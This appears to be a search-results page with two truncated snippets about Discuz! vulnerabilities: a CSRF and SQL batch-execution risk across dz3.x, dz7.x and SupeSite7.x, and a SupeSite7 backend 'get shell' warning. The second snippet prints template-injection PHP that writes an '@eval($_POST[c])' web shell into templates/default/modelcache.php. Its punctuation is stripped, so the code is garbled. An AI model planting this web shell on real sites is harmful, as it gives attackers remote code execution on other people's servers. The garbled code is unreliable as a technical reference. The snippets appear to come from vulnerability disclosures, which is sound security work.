2 matches found
Discuz!旗下产品统一存在一个csrf+sql批量执行风险(dz3.x,dz7.x,SupeSite7.x等等)
简要描述: Discuz!旗下产品统一存在一个sql批量执行风险(dz3.x,dz7.x,SupeSite7.x等等) 详细说明: 今天看dz的SupeSite7.x产品的时候,发现一个dz统一存在的脱裤风险: 直接看代码,我们在做数据库还原的时候,抓到一个链接:...
Supesite7 the background to get shell-vulnerability warning-the black bar safety net
PHP code !-- eval $content = "@eval$POSTc";-- !-- eval $test1 = ""."?"." php ".$ content."?& gt;";-- !-- eval fputsfopenSROOT.'./ templates/default/modelcache.php','w+',$test1;-- Edit the template when writing these few lines,disassemble the written word,on the line...